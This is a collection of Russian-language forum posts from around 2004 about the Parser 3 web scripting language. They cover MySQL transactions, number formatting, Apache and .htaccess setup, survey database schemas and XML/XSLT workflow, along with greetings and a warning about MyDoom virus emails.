"33433","Поздравляю всех сотрудников [i]Студии Лебедева[/i] с наступаюшим [b]Днем Рождения Студии.[/b]\
Желаю всем всех благ, здоровья и творческих успехов."
"33434","если успешно дожили до \
[code]^connect[…]{…этой точки>}[/code]\
\
говорится commit.\
\
если произошло исключение(exception), говорится rollback.\
[code]^connect[…]{\
   …\
   ^throw[problem;случилась проблема x]\
}[/code]"
"33436","Вот что написано в auto.p\
@navigation[]\
$sections[^table::load[sections.cfg]]\
<table width=\"100%\" border=\"1\">\
   <tr>\
   ^sections.menu{\
      <td align=\"middle\">\
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
      </td>\
   }\
   </tr>\
</table>"
"33437","паф, а чтобы отключить транзакции \"по-умолчанию\" нужно корячить драйверы я так понял?"
"33438","Все разобрался. Сел внимательно посмотрел на файлы и увидел баг в расширении auto.p было еще добавлено .txt\
Спасибо всем за помощь."
"33439","В auto.p добавьте\
[code]\
@main[]\
^navigation[]\
[/code]\
а из index.html всё выкиньте и оставьте только:\
[code]\
@foo[]\
^rem{** затычка ***}\
[/code]\
?"
"33443","если есть мысли, как сделать что-то лучше, welcome."
"33444","мысль одна - добавить ключик в строку коннекта отключающий такое поведение (по-умолчанию включено), т.к. в некоторых редких случаях это не нужно. Например в рамках одного соединения могут делаться несколько запросов, в т.ч. и изменяющие состояние БД, - некоторые из них могут давать сбой - ну и черт с ним, суем те, которыми можно пренебречь в try и работаем дальше, - ан нет, так нельзя, - валится все. В этом случае лучше явно расставить транзакции в цепи запросов.\
\
А как вырубить вообще, я глянул, там несложно кстати :)"
"33445","Прошу срочной помощи! Поиск облазил, пока ничего не помогло:\
[code] \
$x[805600]\
$y[2800]\
$summ[^eval($x * $y)[%12d]]\
[/code]\
Результат = -2039287296\
\
как мне получить 2255680000 ?\
Мне нужно именно целое (не вещественное) число\
так же, как быть если прибавится еще пару разрядов?\
вожможно ли вообще в Parser работать с большими целыми числами?"
"33447","счастья и побольше времени на разработку Парсера :) :)"
"33448","Все запустилось, все тесты  с localhost работают. Создала папку в home  с именем site создала все три файла из первого примера. Запускаю index.html на экране вижу строку  ^navigation[], т.е то что я вписала между тегами <body>. Парсер не работает. ПОчему? Точность расширения проверяла!"
"33449","Используется Мишин класс mysql.p. Тогда код:\
[code]\
$str[^MAIN:pSQL.server{}test]\
^str.save[str.txt]\
[/code]\
Сохраняет файл с 7-ю лишними переводами строки перед словом test. Излазил весь файл класса - не могу найти откуда ноги растут. :("
"33450","если вам так уж мешают эти пробелы можете в нем написать:\
$result[^connect[$connect-string]{$body}]"
"33451","Второй вариант - удалить все комментарии после и сделать его в одну строку :)"
"33452","0,2 сек!"
"33453","(-)"
"33456","Скажите пожалуйста....\
Можно ли как то в скриптах закрывать сесию конекта к базе даных MySQL, после того как необходимая иформацыя уже запрошена?\
\
(подобно тогог как это делается в php: mysq_close)"
"33457","Скачиваете http://www.bougakov.com/devel/download/apache_swissknife_setup.exe (4.8Mb). Устанавливаете (админских прав не требуется) - не забудьте только предварительно выключить Денвер.\
\
Запускаете и радуетесь - в комплекте Apache, MySQL, Парсер и почтовый сервер - всё уже настроено, первый урок с ^navigation[] уже работает."
"33458","Неужели этого действительно нельзя сделать просто и изящно.\
Странно что эта проблема не рассматривалась раньше..."
"33459","Здравствуйте!!!\
У меня вопрос такой.\
Можно ли использовать информацию Exif картинки для поиска изображений на сервере по ключевому слову или его фрагменту.\
\
Скажу что база картинок хронится в .xml\
\
Я просто думаю по логике, если можно вытащить эту инфу из файла, то соответственно можно и поискать по этой инфе и вывести все картинки с заданным критерием.\
\
Есть ли в парсере что-нибудь подобное. Направте меня в нужное русло ПОЖАЛУЙСТА, или отошлите .....\
\
С уважением"
"33460","а смысл?? в 99.9% случаев код работает не более 5 секунд и зачем для этого городить огород с закрытием соединения непонятно, разве что из-за паранойи. Это касается CGI с модулем все не так, - там соединения живут дольше, но модулем почти никто не пользуется т.к. хватает CGI."
"33461","именно так и задумано и именно так и работает.\
если exception не перелетел за \
[code]^connect[…]{…эту точку>}<[/code]\
т.е. был пойман и обработан\
[code]$exception.handled(1)[/code]\
будет сделан обычный commit.\
\
note: у mysql транзакции работают только в bdb или innodb таблицах."
"33462","до 15 разрядов подойдёт вещественное число, просто выводите 0 знаков после запятой.\
\
[code]\
$x(805600)\
$y(2800)\
$mul($x * $y)\
[/code]\
\
если нет необходимости, используйте форматирование числа в самый последний момент, перед непосредственным выводом. внутри числа хранятся с максимальной точностью [какой — см. http://www.parser.ru/docs/lang/intdoubleclasses.htm].\
[code]\
#вывод с нулём знаков после разделителя (т.е. только целой части)\
^mul.format[%.0f]\
[/code]\
\
если разговаривать о типах, то начните с того, чтобы действовать с числами, а не… [b]строками[/b] — обратите обратите внимание на скобки."
"33464","ну ежели вы считаете что выборка фотографий по марке фотоаппарата или диафрагменному числу очень нужна в вашем поиске, в чём я сильно сомневаюсь, то вот вам чтиво:\
http://www.parser.ru/docs/lang/imagefields.htm"
"33465","На счет ключевых слов все понятно. Я эту инфу сам в Exif буду загонять.\
Все равно это рано или поздно придется делать для структуризации."
"33466","На сколько я разобрался с этой спецификацией, то в Exif можно вбить не только марку фотоаппарата или диафрагменное число\
а и теже копирайты и дескрипшины и т.п."
"33468","если вбивать, то можно сразу в базу данных — по ней и искать.\
мы [b]так[/b] делаем (в архиве >50 тысяч изображений)"
"33469","Уважаемые, посоветуйте. \
\
Довожу до ума систему для проведения опросов. Есть таблица с названиями опросов, формулировками вопросов, формулировками ответов. Я могу создать новый опрос и вставить в него много вопросов.\
\
Вопрос про хранение ответов. Поскольку столбцы у таблицы с ответами для каждого опроса разные, по идее надо создавать много таблиц под каждую, что нежелательно. \
\
Присоветуйте решение, которое бы позволило хранить в одной таблице ответы опрошенных по разным проектам, а?"
"33470","[code]\
# Таблица с вопросами:\
$questions[^table::create{id	on	title\
1	0	Первый неактивный вопрос\
2	0	Второй, тоже неактивный\
3	1	Третий, активный, т.е. текущий}]\
\
# Таблица с ответами:\
$answers[^table::create{id	qid	def	title\
1	1	0	Первый ответ на первый вопрос\
2	1	1	Второй ответ на тот же вопрос, этот ответ — ответ по умолчанию\
1	2	1	Первый ответ на второй вопрос (тоже выделенный, как стандартный)\
2	2	0	Второй, неактивный\
1	3	0	Первый на третий\
2	3	1	Второй на третий, активный}]\
\
# Простенькая статистика:\
# (qid — id вопроса, aid — соответственно ответа :))\
$stat[^table::create{qid	aid	num\
1	1	1\
1	2	2\
1	3	3\
2	1	8\
2	2	9}]\
[/code]\
\
У меня это — простое голосование, не опрос. Но я думаю не сложно подправить под опросник."
"33472","Если написать «код» внутри «цитаты», то при открытии сообщения текст помещенный в цитату и в код не выводится. А было бы не плохо выводить код, отформатированный, как цитата (тоесть курсивом и с отступами)."
"33473","[quot]\
Запускаете и радуетесь — в комплекте Apache, MySQL, Парсер и почтовый сервер — всё уже настроено, первый урок с ^navigation[] уже работает.\
[/quot]\
\
Это, конечно, здорово. Но я думаю будет лучше если девушка сама научиться, на своих ошибках. Это гораздо действеннее, нежели разобраться в уже готовом. Хотя второе, безусловно, проще.\
\
Как считаете?"
"33474","Пусть втянется сначала в процесс. Вебдизайнеру не обязательно уметь конфигурировать модули апача. Потом - да, научится. \
\
Если первое испытание будет серъёзным - человек с высокой вероятностью отвернётся и пойдёт качать халявные php-скрипты."
"33475","[code]/*==============================================================*/\
/* Table: cati_surveys                                          */\
/*==============================================================*/\
create table cati_surveys\
(\
   survey_id                      int(10) unsigned not null,\
   title                          text not null,\
   created                        datetime,\
   status                         enum('production','devel','disabled'),\
   expires                        datetime\
);\
\
alter table cati_surveys add primary key (survey_id);\
\
insert into cati_surveys values(\
   '1', 'Тестовый опрос', NOW(), 'devel', '')\
);\
\
/*==============================================================*/\
/* Table: cati_questions                                        */\
/*==============================================================*/\
create table cati_questions\
(\
   survey_id                      int(10) unsigned not null,\
   question_id                    int(10) unsigned not null,\
   caption                        text,\
   hint                           text,\
   mandatory                      enum('y','n'),\
   maxvariants                    int,\
   type                           enum('checkbox','radio')\
);\
\
alter table cati_questions add primary key (question_id);\
\
insert into cati_questions values(\
   '1', '1', 'Вы завтракаете по утрам?', '',\
   'n', '1', 'radio'\
);\
\
insert into cati_questions values(\
   '1', '2', 'На завтрак вы чаще всего едите...', '', 'y', '', 'checkbox'\
);\
\
insert into cati_questions values(\
   '1', '1', 'Ваше кредо?', '', 'y', '', 'radio'\
);\
\
\
/*==============================================================*/\
/* Table: cati_questionvariants                                 */\
/*==============================================================*/\
create table cati_questionvariants\
(\
   question_id                    int(10) unsigned not null,\
   variant_id                     int(10) unsigned not null,\
   caption                        text not null,\
   type                           enum('simple','textfield','textarea'),\
   ischecked                      enum('y','n'),\
   hint                           text\
);\
\
alter table cati_questionvariants add primary key (variant_id);\
\
insert into cati_questionvariants values('1','1','Да','simple','n','');\
insert into cati_questionvariants values('1','2','Нет','simple','n','');\
insert into cati_questionvariants values('2','3','Яичницу','simple','n','');\
insert into cati_questionvariants values('2','4','Творог','simple','n','В любой форме - сырники, запеканки, свежий');\
insert into cati_questionvariants values('2','5','Хлопья','simple','n','');\
insert into cati_questionvariants values('3','6','','textarea','n','Впишите');\
\
/*==============================================================*/\
/* Table: cati_filters                                          */\
/*==============================================================*/\
create table cati_filters\
(\
   survey_id                      int(10) unsigned not null,\
   question_id                    int(10) unsigned not null,\
   filter_id                      int(10) unsigned not null,\
   filter                         text,\
   target                         text,\
);\
\
alter table cati_filters add primary key (filter_id);\
\
insert into cati_filters values(\
   '1','1','1','def $variant2','3'\
);\
\
/*==============================================================*/\
/* Table: cati_quotas                                           */\
/*==============================================================*/\
create table cati_quotas\
(\
   \
);\
\
/*==============================================================*/\
/* Table: cati_results                                          */\
/*==============================================================*/\
create table cati_results\
(\
   \
);[/code]"
"33476","Студия делала для monitoring.ru систему интернет-опросов. Я тогда глуп был подсмотреть идею  организации базы, а теперь локти кусаю..."
"33477","и организация базы была, как сейчас представляется, не супер."
"33478","можно попробовать похранить в XML."
"33479","Paf, а если только SQL'ем обходиться? У меня не слишком маленькие структуры храниться должны, вот в чём соль..."
"33481","Может быть, конечно. Но, согласитесь, на своих ошибках учиться получается гораздо эффективнее :)"
"33482","Выборка на parser более чем 5000 записей из БД MySQL.\
\
Результат:\
out of pool memory: failed to allocate 3065 bytes; already allocated on\
pool: 10084892 bytes in 326160 times\
\
Что можно сделать?"
"33483","ПОЗДРАВЛЯЕМ!!!!!"
"33484","...и доставать только те данные, которые нужно.\
лучше сделать 5 запросов, которые вернут по 100 записей каждый, чем один, возвращающий 5000 записей с последующей выборкой из этих результатов того что вам нужно.\
\
это касается не только парсера, а работы любыми средствами с SQL.\
\
если таки это действительнонужно (например вы хотите сделать dump таблицы средствами парсера, то limit/offset вам в руки. доставайте кусочками, сохраняйте резальтаты в файл, очищайте переменные, ^memory:compact[] и так пока не додете до конца таблицы)"
"33485","Дело в том, что мне интересно узнать сам парсер может искать(рыться) в exif информации картинки и по заданным критерием выводить изображение. \
\
Я не имею в виду выводить эту инфу. Я имею в виду как приблизительно реализовать поиск и вывод.\
   \
Я так из мессаги понял что уже это кто то делал.\
\
И у меня большая прозьба хотябы намекнуть в каком направлении действовать.\
\
А что касается базы дык архива с таким количеством у меня не планируется. \
\
Спасибо!"
"33487","Сорри, был не внимателен. Посмотрел. Начинаю замарачиваться.\
\
Спасибооооо!!!"
"33488","Меня интересует технологический ли это барьер?? Парсер виноват или MySQL ???"
"33489","...сколько ему нужно для размещения этих 5000 строк.\
- SQL не виноват. он отдаст эти 5000 строк, хотя и будет это делать долго.\
- парсер тоже сможет их обработать, если ОС выделит ему необходимое количество памяти.\
\
но по моему правильное решение - смена алгоритма."
"33490","Ни как не догоню...\
\
Дату \
[code]\
28 Sep 2004 12:10:13 +0400\
[/code]\
из экспортного файла [url=\"http://news.yandex.ru/computers.rss\"]http://news.yandex.ru/computers.rss[/url] можно привести к виду, например,\
[code]\
28.09.2004 12:10:13\
[/code]\
только match'ем?"
"33492","есть ли возможность посмотреть где-нибудь исходники \"правильного\", с точки зрения top-posters этого форума сайта, сделанного на XML с XSLT преобразованиями?\
\
просто хочется сразу примерно правильное направление взять для коллективной разработки...\
\
например, генерится ли обычно XSLT шаблон Парсером или статичный храниться где-нибудь в базе?\
является ли .html код простым загрузить xml, преобразовать xslt, выдать, или это довольно сложная конструкция, собирающая xml из разных мест по мере нужды для разных браузеров, настроек в профиле и т.д.\
как кодер договаривается с дизайнером о тегах? просто дизайнер пишет в файлике че ему надо, а кодер рожает?\
\
как это выглядит в-общем, если кому не жалко - поделить, пожалуйста, инфой - не хочется тратить полгода для осознания простых, для кого-то, вещей..."
"33495","тратить полгода все равно придется это раз. Теперь конкретнее\
\
1. xslt шаблон статичный и лежит на диске, а ни в какаой не в БД - так и идеологически нормально и нагрузка меньше, в случае если парсер в виде модуля или ISAPI где есть кэширование шаблонов.\
\
2. Весь xml генерится парсером. Данные для него берутся откуда угодно - БД, файлы, статические xml файлы, rss feeds и т.д. Сгенеренный xml преобразуется в самом конце обработки запроса, т.е. xslt преобразование одно.\
\
3. А вот схему используемого XML надо оговорить прежде всего перед началом всех работ, и тут уже все ограничено лишь фантазией разработчиков."
"33504","ничего сильно не меняется, как писал код такой же примерно и пишешь и так же, только не HTML теги вставляешь, а XML, а место проблемы дизайна заменяет проблема работы с дизайнером... ну и еще одно XSLT преобразования...\
то есть я хочу сказать, что стиль написания кода не менятся..."
"33508","да, просто добавляется ещё одна абстракция (промежуточный слой), которая позволяет распараллелить работу (в идеале), однако немного увеличивает время разработки (человеко-часов) из-за изучения новой абстракции раз, и из-за большего количества телодвижений связанных с взаимодействием два. Но тут одно но, - увеличивается количество часов суммарно затраченное на работу, однако если люди работают параллельно эти часы идут одновременно и реально работа выполняется быстрее.\
\
Да, и взаимодействие не с дизайнером, а с кодером, т.к. дизайнер не пишет XSLT/HTML."
"33511","Дизайнер \"рисует\" сайт. Он вообще в праве не знать XSLT. Это не его профиль. На это есть кодеры и верстальщики"
"33515","\"Рисует\" - это значит рисует :) Открывает, например, фотошоп и создает макет. Именно так, как \"нарисует\" дизайнер в итоге сайт должен выглядеть у пользователя в браузере. Затем этот макет \"нарезают\" и верстают. Это уже работа верстальщика или кодера. Раньше на сайте Студии было тестовое задание для верстальщика. Там как раз был представлен макет, который должен выйти из под руки (или мышки) дизайнера. Сейчас подобное есть тут: http://www.teletype.ru/event/career/ Думаю очень хорошо иллюстрирует то, что делает кодер, а что дизайнер"
"33516","если есть еще что сказать, например о подводных камнях в этом море - буду весьма признателен..."
"33522","На мой взгляд, использовать связку XML-XSL удобно только для больших проектов. Для сайтов типа \"о-компании-новости-контакты-услуги\" эти телодвижения по выработке и согласованию всех формальностей не нужны. Кроме того, если нет грамотного кодера-верстальщика, либо они с дизайнером не очень плотно коммуницируют -- вообще не вариант.\
Проще хранить изменяемую статику на ftp (когда страница \"контакты\" -- index.html со словом \"контакты\" и прочими контактами внутри). И быстрее править, и удобнее поддерживать, и разрабатывать легче. \
Для объёмных вещей, конечно, XML предпочительнее."
"33525","и я склоняюсь сразу взять курс на разделение труда разработчиков... \
\
пока верность курса форум подтвержает и уточняет азимут... как дадут добро на взлет - встаем на курс и глиссаду..."
"33526","на всякий случай, чтобы мне самому убедиться, что я правильно понял обсуждение, подробнее рассказать, что за \"телодвижения по выработке и согласованию всех формальностей\"? и какое для этого существует \"папское\" решение - может, там вообще изменения вносятся через CVS какой-нибудь?\
\
просто похоже, это единственно по настоящему новое, с чем предстоит столкнуться..."
"33533","Запрос:\
[code]\
SELECT * FROM `reklaman` WHERE 1 AND `type` = 'press' ORDER BY `date` DESC [/code]\
В phpmyadmin проходит на ура, а парсер ругается:\
\
Unhandled Exception (Debug)\
result must contain exactly one column\
\
подскажите пожалста? Благодарю."
"33536","Переведите \"result must contain exactly one column\"."
"33537","Вот код, чувствую, что ошибка идиотская, но к концу дня уже нифига сообразить не могу :(((\
\
[code]\
	^case[DEFAULT]{\
#подключение скроллера\
^use[/scroller.p]\
# ветвление идёт с помощью переменной action\
#подсчёт количества секций в листе скроллера\
	^connect[$connect_string]{\
		$table_count_serj[^string:sql{\
		SELECT * \
		FROM `reklaman` \
		WHERE 1 AND `type` = 'press' \
		ORDER BY `date` DESC \
		}]\
	}\
#формирование класса\
	$scroller[^scroller::create[\
		$.path_param[id]\
		$.table_count[$table_count_serj]\
		$.number_per_section[5]\
		$.section_per_page[5]\
		$.type[]\
		]]\
#Начало работы с ДБ\
	^connect[$connect_string]{\
		$reklaman[^table::sql{\
		SELECT * \
		FROM `reklaman` \
		WHERE 1 AND `type` = 'press' \
		ORDER BY `date` DESC \
		}[\
		$.limit($scroller.number_per_section)\
		$.offset($scroller.record_number-1)\
		]\
	]}\
	^reklaman.menu{\
	<table bgcolor=\"99FFFF\" width=\"100%\" cellspacing=\"1\" cellpadding=\"2\" border=\"1\">\
		<tr>\
			<td width=\"5%\"><a href=\"?action=edit&edit=$reklaman.id>edit</a>/<a href=\"?action=del&del=$reklaman.id>del</a></td>\
			<td width=\"10%\">$reklaman.id</td>\
			<td width=\"20%\">$reklaman.date</td>\
		    <td width=\"45%\">$reklaman.header</td>\
		    <td width=\"45%\">$reklaman.anons</td>\
		</tr>\
	</table>\
	}\
#линейка скроллера\
	^scroller.draw[]\
	\
	<br><a href=\"?action=new\">Добавить запись</a>\
	<br><a href=\"../admin\">В начало</a>\
	}\
#конец кейса	\
}\
[/code]"
"33538","ну и какого хрена?:\
[code]\
$table_count_serj[^string:sql{\
SELECT * \
FROM `reklaman` \
WHERE 1 AND `type` = 'press' \
ORDER BY `date` DESC \
}]\
[/code]\
или table::sql или за SELECT * голову с плеч."
"33539","Уважаемые форумчане, уже N-цатый раз получаю на свой ящик письма с вирусом как бы от Egr'а (заархивированным в запароленный ZIP с паролем в виде картинки). Естественно, это не он рассылает - просто у кого-то вирус распотрошил адресную книгу в которой были и мой и его адрес, и рассылает копии себя.\
\
В каком месте мы с уважаемым Egr'ом пересекаемся и откуда можно почерпнуть оба адреса - мой и его? Правильно, тут. \
\
В общем, если вы пользуетесь услугами провайдера [b]ufamts.ru[/b] - сходите на Windows Update и обновите антивирус.  И вообще, take care, как говорится..."
"33540","Votes\
id INT, primary\
name CHAR\
\
Questions\
id INT, primary\
voteID INT, foreign ref(Votes)\
question CHAR\
\
Answers\
id INT, primary\
questionID INT, foreign ref(Questions)\
answer CHAR\
\
Stats\
VoteId INT, FOREIGN\
questionId INT, FOREIGN\
answerId INT, FOREIGN\
answerCount INT\
\
Должно быть быстро, с 2-3 join'ами по ключам. А в статистику сразу кидаем: UPDATE stats SET answerCount = answerCount + 1 WHERE...\
\
Если надо ограничить одного пользователя в количестве ответов, то добавляем\
VoteIP\
voteID INT, foreign\
userid INT"
"33541","Появилась такая проблема - надо получить информацию доступную только после cookie авторизации.\
Авторизация следующая:\
[code]\
$f[^file::load[binary;http://site.ru/enter.pl?login=test&psw=test]]\
[/code]\
Этот enter.pl выставляет cookie и редиректит уже на основную страницу. \
Загрузить адрес редиректа легко, но если я не передам эти cookie на основную страницу - само собой толку мало.\
Вопрос: как получить эти куки и отсылать их при каждой следующей загрузке?"
"33542","[code]\
$f[^file::load[binary;http://www.parser.ru]]\
^f.tables.foreach[key;value]{\
    $key=^value.menu{$value.value}[|]<br>\
}\
[/code]\
Это кусок доки"
"33543","Хостинг от Агавы. Скрипты разрешены. Owner - один, группа - другая. При запросе http://domain/cgi-bin/parser3.cgi — показывает версию парсера.\
\
.htaccess, настроенный на парсер приводит к ошибке:\
\
— (в логе) script not found or unable to stat: /usr/site/apache/cgi-bin\
— (в браузере) 404. Файл не найден\
\
Кто что может сказать толкового?"
"33544","а) Покажите .htaccess\
б) usr/site/[b]apache[/b]/cgi-bin — это правильно?"
"33545","При таком .htaccess:\
\
AddHandler parser3-html html\
Action parser3-html /cgi-bin/parser3.cgi\
\
Такая ошибка:\
\
[Fri Oct  1 19:34:01 2004] [error] [client ******] script not found or unable to stat: /usr/site/apache/cgi-bin\
\
Парсер лежит в /cgi-bin/parser3.cgi"
"33546","И как только проглядел..? =)"
"33548","Что значит правильно?\
/usr/site/apache/cgi-bin — неизвестный адрес\
\
Абсолютный путь до cgi-bin другой: /home/*/******.*.com1.ru/cgi/\
Из интернета виден как /cgi-bin/\
\
В логе нету имени файла, который отсутствует. Так что непонятно, что в конце-концов имеется в виду? index.html, parser3.cgi или что-то еще.\
\
Еще есть ощущение, что у них DocumentRoot странный. Пока ощущение."
"33549","После ряда экспериментов выяснилось, что у Агавы (скорее всего) неполадки с DocumentRoot  (сервер автоматом подставляет /home/) и полный внутренний путь до /cgi-bin/ выглядит\
\
не так (как саппорт и доки гласят): /home/d/domain.N.com1.ru/cgi/\
\
а так: /d/domain.ru/cgi/\
\
Строка в .htaccess: Action parsed-html /d/domain.ru/cgi/parser3.cgi решила проблему. Пока работает."
"33550","Установил парсер как модуль апача.\
Настройки в httpd.conf (не в <VirtualHost>):\
\
[code]LoadModule parser3_module D:\\Server\\Apache\\parser\\ApacheModuleParser3.dll \
AddHandler parser3-handler html htm\
ParserConfig D:\\Server\\Apache\\parser\\auto.p \
<Files ~ \"\\.p$\"> \
Order allow,deny \
Deny from all \
</Files>\
[/code]\
Апач: 1.3.28, как модуль ещё установлен php 4.0.6\
Когда запускается окошко апача там написано, что парсер тоже запустился как модуль:\
\
[code]Apache/1.3.28 (Win32) Parser/3.1.3 PHP/4.0.6 running...[/code]\
\
Пытаюсь запустить первый урок - выдаёт просто страницу необработанную. в FAQ-е вроде-бы ответа на этот вопрос нету, а очень бы хотелось получить его! Хочется попробовать, что это за фруктЪ парсер ;)\
\
p.s. я не добавлял AddModule mod_parser3.c в httpd.conf, потому, что если написать это ДО LoadModule, то апач пишет, что такой модуль не найден, а если после, что такой уже загружен... =/ Странно как-то всё..."
"33551","Есть страницы, на которых выводится большой объем текста -\
от 600 кб и выше.\
Такая страница очень долго грузится,\
т.е. я засекал время –\
текст объемом [b]700 кб[/b] загружается\
за [b]1 мин. 42 сек.!!!!![/b]\
и страница выводится только после\
загрузки всего текста.\
На некоторых сайтах большой\
текст постепенно выводится (добавляется\
снизу) при уже\
открытой странице,\
может быть кто знает как это осуществить\
или, может быть, можно как-то ускорить вывод текста?\
Текст у меня хранится в БД MySQL (в longtext)"
"33552","[code]\
AddHandler parser3-handler html htm\
[/code]\
\
^ Вы сказали ему, что страницы html и htm это «parser3-handler». Это уже хорошо. А вот что ему с ними делать вы не сказали, вот он ничего с ними и не делает.\
\
[i]см. [url=\"http://www.parser.ru/faq/install/\"]FAQ / вопросы по установке[/url] (самый первый)[/i]"
"33553","[b]Причина:[/b] наверняка текст у вас помещен в таблицу, а открываете вы страницу Internet Explorer-ом, да? У него есть такая фишка: пока таблица не загрузиться — он ее не отобразит (не знаю наверняка как обстоит дело с остальными браузерами). Ну и плюс к этому на слабых машинах когда большой текст открывается браузером — это заметно подтормаживает, я бы даже сказал тормозит.\
\
[b]Совет:[/b] попробуйте текст разбивать на страницы — это будет и выдаваться пользователю быстрее, и читать это будет проще. А если есть необходимость выкладывать весь текст одним куском — поставьте на него ссылочку (по запросу которой будет генерироваться из базы полный, допустим, txt-файл). Парсером это делается не так уж и сложно."
"33556","Добавил Action:\
\
AddHandler parser3-handler html htm\
Action parser3-handler D:\\Server\\Apache\\parser\\ApacheModuleParser3.dll\
\
Теперь появляется сообщение об ошибке (неправильный запрос):\
\
Bad Request\
Your browser sent a request that this server could not understand.\
Invalid URI in request GET /_test.html HTTP/1.1\
\
что-то опять ему хочется.. =// В логах апача ничего объясняющего это нету."
"33557","всё. кажется он запустился )) я просто переместил папку  charsets в папку сервера и у меня _test.html заработал. Странно, почему это так вышло =/ Вроде бы и ApacheModuleParser3.dll и charsets в одной папке лежали как и надо было вроде... =/"
"33558","Т.е., если я правильно понимаю,\
текст из базы записывается в\
.txt файл, затем уже текст берется из этого\
файла и выводится на странице, а файл\
удаляется? Разве такой способ быстрее\
выведет текст?\
(убрал текст из таблицы,\
но выводится также долго и \
стр. появляется после полной загрузки)"
"33559","Крошка-сын приходит к отцу-программисту и спрашивает:\
— Папа, а почему солнышко каждый день встает на востоке и заходит на западе?\
— Правда?\
— Правда.\
— Каждый день встает на востоке и заходит на западе?\
— Да, папа, каждый.\
— Проверял?\
— Проверял.\
— Ну тогда, сынок, ничего не трогай и ничего не меняй."
"33560","Есть формула в формате MS Excel:\
=ЕСЛИ(B2>99999999;\"0,015\";ЕСЛИ(B2>49999999;\"0,02\";ЕСЛИ(B2>19999999;\"0,03\";ЕСЛИ(B2>9999999;\"0,04\";\"0,05\"))))\
где B2-стоимость имущества\
\
как это реализовать на Parser 3?"
"33561","Если сайт сверстать не таблицами, а использовать CSS разметку -то тогда текст внутри DIV-ов  будет виден не дожидаясь загрузки всего файла целиком. Как я понимаю - вам это и нужно."
"33562","Спасибо за совет, но, думаю,\
лучше будет делить большой текст\
на страницы, но -\
\
Весь текст в $str,\
определяю ^str.length[],\
получаю значение больше определенного –\
нужно разбить на страницы...\
Но как сделать разбиение по кол-ву символов?\
Можно конечно заранее поставить\
метки и сплитить в местах меток,\
но это очень сложный выход.."
"33566","Посоветуйте что еще можно,\
текст должен постепенно выводиться,\
т.е. на глазах снизу постепенно добавляеются\
(догружаются) строки при уже открытой странице -\
У посетителя в этом случае еще не полностью\
загрузился текст страницы - а начало текста\
уже можно читать.\
С тегом div не выходит или какие-то\
особенные стили в нем использовать,\
текст пробовал выводить и внутри столбца\
таблицы и так - не в таблице И один и тот же\
результат.."
"33568","www.dataparksearch.org\
А главное, OpenSource и  free"
"33569","Opera, что загрузит, то и выводит."
"33571","каким-либо образом можно сделать этот код «красивее»?\
\
[code]\
^if($стоимость_имущества>99999999){\
	$ставка_комиссии(0.015)\
}{\
	^if($стоимость_имущества>49999999){\
		$ставка_комиссии(0.02)\
	}{\
		^if($стоимость_имущества>19999999){\
			$ставка_комиссии(0.03)\
		}{\
			^if($стоимость_имущества>9999999){\
				$ставка_комиссии(0.04)\
			}{\
				$ставка_комиссии(0.05)\
			}\
		}\
	}\
}\
[/code]\
\
мне кажется, что код «перегружен» if'ами"
"33572","вот что 2 минуты назад кинул мне в аску наш админ:\
\
Следующее сообщение инфицировано и не было доставлено.\
\
Оправитель = mailbox@artlebedev.ru (возможно подделан)\
Получатели = coder@xxxxxxxxxx\
Тема =  Delivery reports about your e-mail\
Идентификатор =  <20041003114156.14C3F4267@xxxxxxx>\
\
--- Dr.Web report ---\
Найден(ы) следующий(е) вирус(ы):\
Known virus(es):\
Win32.HLLM.MyDoom.54464\
\
Детализированный отчет Dr.Web:\
127.0.0.1 [26612] drweb.tmp\
[16:37:25] <nlg> .ddNWb2 - archive MAIL\
127.0.0.1 [26612] drweb.tmp.ddNWb2/[text:plain] - Ok\
127.0.0.1 [26612] >drweb.tmp.ddNWb2/text.cmd infected with Win32.HLLM.MyDoom.54464\
From: mailbox@artlebedev.ru\
To: coder@xxxxxxxxxxxx\
Subject: Delivery reports about your e-mail"
"33573","чтобы выводился не весь сразу, а постепенно,\
а то у меня, как говорил выше, страница появляется только\
после полной загрузки текста.."
"33574","\"возможно подделан\" следует понимать как \"99%\" подделан.\
\
Реальный адрес отправителя (IP конечно а не почтовый) можно посмотреть в заголовках received.\
\
Везет вам, если бы наш админ про каждое вирусное письмо писал, у него бы на другие задачи времени бы не хватало. :)"
"33575","если значение «длинное», то оно выводится в виде 1e+008.\
\
как его вывести целиком?"
"33579","Раз у него все работает и время есть в аську скидывать про вирусные письма :)"
"33583","админЫ у нас хорошие: нашей конторе надо чтоб все работало, а не чтоб админы бегали.\
\"если админ на работе рубится в кваку и все молчат - он хороший админ\"(с) не мой.\
\
а адресок - покажем, просто будить админа лень щаз."
"33584","Кто сказал что \"каждое\"? :) Просто увидел и кинул на всякий случай."
"33585","Так что приходиться свою машину самому админить — зато только у меня все работает. И как надо работает 8)"
"33586","ну т.е. правой кнопкой на странице - смотреть в виде HTML (если у вас Internet Explorer и если он русский)"
"33587","VIEW-SOURCE:\
\
______________________________________________________\
<html>\
<head>\
</head>\
<body>\
Основное тело .html страницы....\
\
\
<!----------- Собственно произведение --------------->\
\
[b]<div align=justify>[/b]\
[b]<html>[/b] \
 \
\
\
<!--Section Begins--><br>\
[b]<dd>&nbsp;&nbsp;[/b] Ворота с треском захлопнулись, едва отряд оказался за бревенчатой стеной. \
\
[b]<dd>&nbsp;&nbsp;[/b] Крошечный, пусть и высокий острог не имел даже крыши.\
[b]<dd>&nbsp;&nbsp;[/b] -Я Свагор, командир стражи Утонского моста, мастер гвардии, подданный короля Салмии.\
\
[b]<dd>&nbsp;&nbsp;[/b] Хейграст поднялся с колен и, покопавшись за пазухой, достал деревянную табличку с металлической бляхой.\
\
[b]<dd>&nbsp;&nbsp;[/b] -Меня зовут Хейграст, - сказал он, тревожно посматривая на суетящегося у тела Лукуса.\
[b]<dd>&nbsp;&nbsp;[/b] Свагор взял табличку, внимательно осмотрел и вернул со словами:\
\
[b]<dd>&nbsp;&nbsp;[/b] -Вы имеете право пройти через земли Салмии, куда бы ни направлялись, но почему выбрали столь опасный путь?\
[b]<dd>&nbsp;&nbsp;[/b] -У нас не было другой дороги, - хмуро пояснил Хейграст.\
[b]</div>[/b]\
<!--Section Ends-->\
\
\
[b]</body>[/b]\
[b]</html>[/b]\
\
... продолжение страницы\
\
</body>\
</html>\
________________________________________________\
\
Т.е. выделенное черным, наверное, влияет на постепенный\
вывод текста, но\
у себя так делал - не помогает,\
сплитил текст где стоит [code]^#0A[/code]\
т.е [code]$txt[^body.split[^#0A;lv]][/code]\
А потом [code]^txt.menu{$txt.piece}[<dd>&nbsp^;&nbsp^;][/code]\
